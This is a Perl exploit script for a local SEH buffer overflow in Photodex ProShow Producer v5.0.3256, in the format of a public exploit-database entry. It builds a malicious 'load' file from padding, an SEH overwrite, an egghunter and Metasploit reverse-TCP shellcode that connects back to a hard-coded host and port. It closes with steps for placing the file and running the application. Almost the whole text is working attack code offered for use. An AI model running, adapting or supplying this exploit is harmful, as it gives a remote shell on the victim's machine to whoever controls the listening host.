####################################################################################### # Exploit Title: Photodex ProShow Producer v5.0.3256 - Local Buffer Overflow Exploit # Date: 22/07/2012 # Author: mr.pr0n (@_pr0n_) # Homepage: http://ghostinthelab.wordpress.com/ # Software Link: http://files.photodex.com/release/pspro_50_3256.exe # Version: v5.0.3256 # Tested on: Windows XP SP3 # +-----------------------------------------------------+ # | This vulnerability was discovered and researched | # | by Julien Ahrens [from Inshell] | # | http://www.exploit-db.com/exploits/19563/ | # +-----------------------------------------------------+ ###################################################################################### # The egghunter. $egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02". "\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8". "w00t". # <-- The 4 byte tag "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"; # MSF windows/shell_reverse_tcp # LHOST=192.168.178.27 LPORT=4444 $shellcode = "\xb8\x78\x6f\x18\xec\xdb\xcf\xd9\x74\x24\xf4\x5a\x31\xc9\xb1". "\x4f\x31\x42\x14\x83\xea\xfc\x03\x42\x10\x9a\x9a\xe4\x04\xd3". "\x65\x15\xd5\x83\xec\xf0\xe4\x91\x8b\x71\x54\x25\xdf\xd4\x55". "\xce\x8d\xcc\xee\xa2\x19\xe2\x47\x08\x7c\xcd\x58\xbd\x40\x81". "\x9b\xdc\x3c\xd8\xcf\x3e\x7c\x13\x02\x3f\xb9\x4e\xed\x6d\x12". "\x04\x5c\x81\x17\x58\x5d\xa0\xf7\xd6\xdd\xda\x72\x28\xa9\x50". "\x7c\x79\x02\xef\x36\x61\x28\xb7\xe6\x90\xfd\xa4\xdb\xdb\x8a". "\x1e\xaf\xdd\x5a\x6f\x50\xec\xa2\x23\x6f\xc0\x2e\x3a\xb7\xe7". "\xd0\x49\xc3\x1b\x6c\x49\x10\x61\xaa\xdc\x85\xc1\x39\x46\x6e". "\xf3\xee\x10\xe5\xff\x5b\x57\xa1\xe3\x5a\xb4\xd9\x18\xd6\x3b". "\x0e\xa9\xac\x1f\x8a\xf1\x77\x3e\x8b\x5f\xd9\x3f\xcb\x38\x86". "\xe5\x87\xab\xd3\x9f\xc5\xa3\x10\xad\xf5\x33\x3f\xa6\x86\x01". "\xe0\x1c\x01\x2a\x69\xba\xd6\x4d\x40\x7a\x48\xb0\x6b\x7a\x40". "\x77\x3f\x2a\xfa\x5e\x40\xa1\xfa\x5f\x95\x65\xab\xcf\x46\xc5". "\x1b\xb0\x36\xad\x71\x3f\x68\xcd\x79\x95\x1f\xca\xee\xd6\x88". "\x66\xf5\xbe\xca\x86\x1b\x63\x42\x60\x71\x8b\x02\x3b\xee\x32". "\x0f\xb7\x8f\xbb\x85\x5f\x33\x29\x42\x9f\x3a\x52\xdd\xc8\x6b". "\xa4\x14\x9c\x81\x9f\x8e\x82\x5b\x79\xe8\x06\x80\xba\xf7\x87". "\x45\x86\xd3\x97\x93\x07\x58\xc3\x4b\x5e\x36\xbd\x2d\x08\xf8". "\x17\xe4\xe7\x52\xff\x71\xc4\x64\x79\x7e\x01\x13\x65\xcf\xfc". "\x62\x9a\xe0\x68\x63\xe3\x1c\x09\x8c\x3e\xa5\x39\xc7\x62\x8c". "\xd1\x8e\xf7\x8c\xbf\x30\x22\xd2\xb9\xb2\xc6\xab\x3d\xaa\xa3". "\xae\x7a\x6c\x58\xc3\x13\x19\x5e\x70\x13\x08"; $file = "load"; # The "load" file $junk = "\x41" x (9844 - length("w00tw00t") - length($shellcode)); $nseh = "\xEB\x06\x90\x90"; # short jump 6 bytes $seh = "\x73\xb0\x22\x10"; # 0x1022b073 -p/p/r- [if.dnt] $nops = "\x90" x (100 - length($egghunter)); $exploit = $junk."w00tw00t".$shellcode.$nseh.$seh."\x90\x90\x90\x90".$egghunter.$nops; open($File,">$file"); print $File $exploit; close($File); print " \n[!] The 'load' file, was created successfully (".(length $exploit)." bytes) [!]\n\n"; print "[+] Place the arbitrary 'load' file, into the application directory.\n"; print "[+] Execute the application (proshow.exe) \n";